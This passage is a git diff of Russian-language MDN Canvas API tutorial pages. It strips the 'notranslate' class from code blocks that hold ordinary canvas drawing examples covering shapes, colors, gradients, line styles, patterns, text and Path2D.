href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> +<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -358,7 +358,7 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<p><span class="notranslate">Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> +<p><span>Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> <p>{{EmbedLiveSample("Добавление_управления_мышью", "610", "310")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index c17cdbedca..e82a99b84c 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_ <p>Чтобы строка <em><code>color </code></em>считалась валидной, она должна соответствовать CSS {{cssxref("<color>")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. </p> -<pre class="brush: js notranslate">// these all set the fillStyle to 'orange' +<pre class="brush: js">// these all set the fillStyle to 'orange' ctx.fillStyle = "orange"; ctx.fillStyle = "#FFA500"; @@ -41,7 +41,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> -<pre class="brush: js;highlight[5,6] notranslate">function draw() { +<pre class="brush: js;highlight[5,6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -53,9 +53,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -66,7 +66,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Этот пример похож на предыдущий, но мы используем свойство <code>strokeStyle</code> чтобы изменить цвета очертаний фигур. Так же мы используем метод <code>arc()</code> для рисования окружностей вместо квадратов.</p> -<pre class="brush: js;highlight[5,6] notranslate"> function draw() { +<pre class="brush: js;highlight[5,6]"> function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -81,9 +81,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -103,7 +103,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Так как свойства <code>strokeStyle</code> и <code>fillStyle</code> принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение для назначения прозрачных цветов.</p> -<pre class="brush: js notranslate">// Assigning transparent colors to stroke and fill style +<pre class="brush: js">// Assigning transparent colors to stroke and fill style ctx.strokeStyle = "rgba(255,0,0,0.5)"; ctx.fillStyle = "rgba(255,0,0,0.5)"; @@ -115,7 +115,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.</p> -<pre class="brush: js;highlight[15] notranslate">function draw() { +<pre class="brush: js;highlight[15]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // фон изображения ctx.fillStyle = '#FD0'; @@ -140,9 +140,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p> @@ -151,7 +151,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование <code>rgba()</code> добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.</p> -<pre class="brush: js;highlight[16] notranslate">function draw() { +<pre class="brush: js;highlight[16]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Нарисовать фон @@ -174,9 +174,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_использования_rgba", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p> @@ -212,7 +212,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i = 0; i < 10; i++){ ctx.lineWidth = 1+i; @@ -225,9 +225,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p> @@ -269,7 +269,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант - <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineCap = ['butt','round','square']; @@ -296,9 +296,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p> @@ -322,7 +322,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств <code>lineJoin</code>; результат - выше. </p> -<pre class="brush: js;highlight[6] notranslate">function draw() { +<pre class="brush: js;highlight[6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineJoin = ['round','bevel','miter']; ctx.lineWidth = 10; @@ -340,9 +340,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p> @@ -367,7 +367,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Clear canvas @@ -402,7 +402,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <td><canvas id="canvas" width="150" height="150"></canvas></td> <td>Change the <code>miterLimit</code> by entering a new value below and clicking the redraw button.<br><br> @@ -415,7 +415,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </tr> </table></pre> -<pre class="brush: js notranslate">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; +<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; draw();</pre> </div> @@ -428,10 +428,10 @@ draw();</pre> <p>В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="110" height="110"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="110" height="110"></canvas></pre> </div> -<pre class="brush: js;highlight[6] notranslate">var ctx = document.getElementById('canvas').getContext('2d'); +<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d'); var offset = 0; function draw() { @@ -467,7 +467,7 @@ march();</pre> <p>For example:</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); </pre> @@ -480,7 +480,7 @@ var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); <p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0,0,150,150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0,0,150,150); lineargradient.addColorStop(0, 'white'); lineargradient.addColorStop(1, 'black'); </pre> @@ -489,7 +489,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p> -<pre class="brush: js;highlight[5,11] notranslate">function draw() { +<pre class="brush: js;highlight[5,11]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Create gradients @@ -515,9 +515,9 @@ lineargradient.addColorStop(1, 'black'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p> @@ -530,7 +530,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p> -<pre class="brush: js;highlight[5,10,15,20] notranslate">function draw() { +<pre class="brush: js;highlight[5,10,15,20]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Create gradients @@ -567,9 +567,9 @@ lineargradient.addColorStop(1, 'black'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.</p> @@ -602,7 +602,7 @@ lineargradient.addColorStop(1, 'black'); <p>Мы используем этот метод, чтобы создать {{domxref("CanvasPattern")}} объект, который очень похож на методы градиента, рассмотренные ранее. Как только мы создали шаблон, мы можем назначить ему свойства <code>fillStyle</code> или <code>strokeStyle</code>. Например:</p> -<pre class="brush: js notranslate">var img = new Image(); +<pre class="brush: js">var img = new Image(); img.src = 'someimage.png'; var ptrn = ctx.createPattern(img,'repeat'); </pre> @@ -615,7 +615,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>In this last example, we'll create a pattern to assign to the <code>fillStyle</code> property. The only thing worth noting is the use of the image's <code>onload</code> handler. This is to make sure the image is loaded before it is assigned to the pattern.</p> -<pre class="brush: js;highlight[10] notranslate">function draw() { +<pre class="brush: js;highlight[10]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // create new image object to use as pattern @@ -633,9 +633,9 @@ var ptrn = ctx.createPattern(img,'repeat'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> <p>The result looks like this:</p> </div> @@ -671,7 +671,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>This example draws a text string with a shadowing effect.</p> -<pre class="brush: js;highlight[4,5,6,7] notranslate">function draw() { +<pre class="brush: js;highlight[4,5,6,7]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.shadowOffsetX = 2; @@ -686,9 +686,9 @@ var ptrn = ctx.createPattern(img,'repeat'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="80"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="80"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_текста_с_тенью", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}</p> @@ -708,7 +708,7 @@ var ptrn = ctx.createPattern(img,'repeat'); <p>In this example we are using the <code>evenodd</code> rule.</p> -<pre class="brush: js;highlight[6] notranslate">function draw() { +<pre class="brush: js;highlight[6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.beginPath(); ctx.arc(50, 50, 30, 0, Math.PI*2, true); @@ -717,9 +717,9 @@ var ptrn = ctx.createPattern(img,'repeat'); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="100" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="100" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html index 0d71e6b16b..89d79cedf3 100644 --- a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html +++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <h2 id="Элемент_<canvas>">Элемент <code><canvas></code></h2> -<pre class="brush: html notranslate"><canvas id="tutorial" width="150" height="150"></canvas> +<pre class="brush: html"><canvas id="tutorial" width="150" height="150"></canvas> </pre> <p>Он выглядит как элемент <code><img></code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code><canvas></code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p> @@ -33,7 +33,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Например, мы можем предоставить текстовое описание содержимого canvas или предоставить статичное изображение динамически отображаемого содержимого. Это может выглядеть как-то так:</p> -<pre class="brush: html notranslate"><canvas id="stockGraph" width="150" height="150"> +<pre class="brush: html"><canvas id="stockGraph" width="150" height="150"> current stock price: $3.15 +0.15 </canvas> @@ -56,7 +56,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage <p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и её функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использовать метку "2d".</p> -<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); +<pre class="brush: js">var canvas = document.getElementById('tutorial'); var ctx = canvas.getContext('2d'); </pre> @@ -67,7 +67,7 @@ var ctx = canvas.getContext('2d'); <p>Ранее уже упоминалось, что в браузерах, которые не поддерживают {{HTMLElement("canvas")}} отображается запасное содержимое. Но помимо этого, определить, поддерживает ли браузер <code>canvas</code>, можно прямо из кода, проверив наличие метода <code>getContext()</code>. Код с запасным содержимым, который мы приводили Выше, становится следующим:</p> -<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial'); +<pre class="brush: js">var canvas = document.getElementById('tutorial'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -87,7 +87,7 @@ if (canvas.getContext){ <p><strong>Примечание:</strong> вставка скрипта внутрь HTML не является хорошей практикой. Мы делаем это здесь, чтобы сделать пример короче.</p> </div> -<pre class="notranslate"><code><!DOCTYPE html></code> +<pre><code><!DOCTYPE html></code> <html> <head> <title>Canvas tutorial</title> @@ -119,7 +119,7 @@ if (canvas.getContext){ <p>Для начала, давайте посмотрим на простой пример, который рисует два пересекающихся прямоугольника, один из которых имеет прозрачность alpha. Мы изучим, как это работает более детально в последующих примерах.</p> -<pre class="notranslate"><code><!DOCTYPE html></code> +<pre><code><!DOCTYPE html></code> <html> <head> <script type="application/javascript"> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html index 4913f93bda..c30661c80e 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_shapes/index.html @@ -41,7 +41,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <h3 id="Пример_создания_прямоугольных_фигур">Пример создания прямоугольных фигур</h3> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -49,7 +49,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext) { var ctx = canvas.getContext('2d'); @@ -113,7 +113,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Например, код для рисования треугольника будет выглядеть как-то так:</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="100" height="100"></canvas> </body> @@ -121,7 +121,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -153,7 +153,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Вы можете проверить это сами, используя участок кода ниже. Просто вставьте в функцию <code>draw()</code>, рассмотренную ранее.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -161,7 +161,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight:[8,10,12] notranslate">function draw() { +<pre class="brush: js;highlight:[8,10,12]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -203,7 +203,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>Пример ниже рисует два треугольника, один закрашенный и другой обведён контуром.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -211,7 +211,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,16,17] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,16,17]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -270,7 +270,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </div> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="200"></canvas> </body> @@ -278,7 +278,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[16] notranslate">function draw() { +<pre class="brush: js;highlight[16]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -332,7 +332,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>В этом примере многократно используются квадратичные кривые Безье для рисования речевой выноски.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -340,7 +340,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext) { var ctx = canvas.getContext('2d'); @@ -366,7 +366,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур <p>В этом примере нарисовано сердце с использованием кубических кривых Безье.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -374,7 +374,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js;highlight[9,10,11,12,13,14] notranslate">function draw() { +<pre class="brush: js;highlight[9,10,11,12,13,14]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -414,7 +414,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур Однако, нет никаких ограничений на количество или типы контуров, которые вы можете использовать для создания фигур. Давайте в этом примере объединим все вышеперечисленные функции контуров, чтобы создать набор очень известных игровых персонажей.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="150" height="150"></canvas> </body> @@ -422,7 +422,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_фигур </pre> </div> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -521,7 +521,7 @@ function roundedRect(ctx, x, y, width, height, radius) { <dd>Конструктор <code><strong>Path2D()</strong></code> возвращает вновь созданный объект <code>Path2D</code> необязательно с другим путём в качестве аргумента (создаёт копию) или необязательно со строкой, состоящей из данных пути <a href="/en-US/docs/Web/SVG/Tutorial/Paths">SVG path</a> .</dd> </dl> -<pre class="brush: js notranslate">new Path2D(); // пустой path объект +<pre class="brush: js">new Path2D(); // пустой path объект new Path2D(path); // копирование из другого path new Path2D(d); // path из SVG</pre> @@ -539,7 +539,7 @@ new Path2D(d); // path из SVG</pre> <p>В этом примере мы создаём прямоугольник и круг. Оба они сохраняются как объект <code>Path2D</code>, поэтому они доступны для последующего использования. С новым API <code>Path2D</code> несколько методов были обновлены, чтобы при необходимости принять объект <code>Path2D</code> для использования вместо текущего пути. Здесь <code>stroke</code> и <code>fill</code> используются с аргументом пути, например, для рисования обоих объектов на холст.</p> <div class="hidden"> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body onload="draw();"> <canvas id="canvas" width="130" height="100"></canvas> </body> @@ -547,7 +547,7 @@ new Path2D(d); // path из SVG</pre> </pre> </div> -<pre class="brush: js;highlight[6,9] notranslate">function draw() { +<pre class="brush: js;highlight[6,9]">function draw() { var canvas = document.getElementById('canvas'); if (canvas.getContext){ var ctx = canvas.getContext('2d'); @@ -574,6 +574,6 @@ new Path2D(d); // path из SVG</pre> <p>Путь перемещается в точку (<code>M10 10</code>), а затем горизонтально перемещается на 80 пунктов вправо (<code>h 80</code>), затем на 80 пунктов вниз (<code>v 80</code>), затем на 80 пунктов влево (<code>h -80</code>), а затем обратно на start (<code>z</code>). <br> Этот пример можно увидеть на странице <a href="/en-US/docs/Web/API/Path2D.Path2D#Using_SVG_paths"><code>Path2D</code> constructor</a>.</p> -<pre class="brush: js; notranslate">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre> +<pre class="brush: js;">var p = new Path2D("M10 10 h 80 v 80 h -80 Z");</pre> <div>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div> diff --git a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html index 58707876c9..4a2738bfe5 100644 --- a/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html +++ b/files/ru/web/api/canvas_api/tutorial/drawing_text/index.html @@ -31,16 +31,16 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <p>Текст вставлен с использованием текущего <code>fillStyle</code>.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); ctx.font = "48px serif"; ctx.fillText("Hello world", 10, 50); }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="300" height="100"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="300" height="100"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_fillText", 310, 110)}}</p> @@ -49,16 +49,16 @@ original_slug: Web/API/Canvas_API/Tutorial/Рисование_текста <p>Текст вставлен с использованием текущего <code>strokeStyle</code>.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = 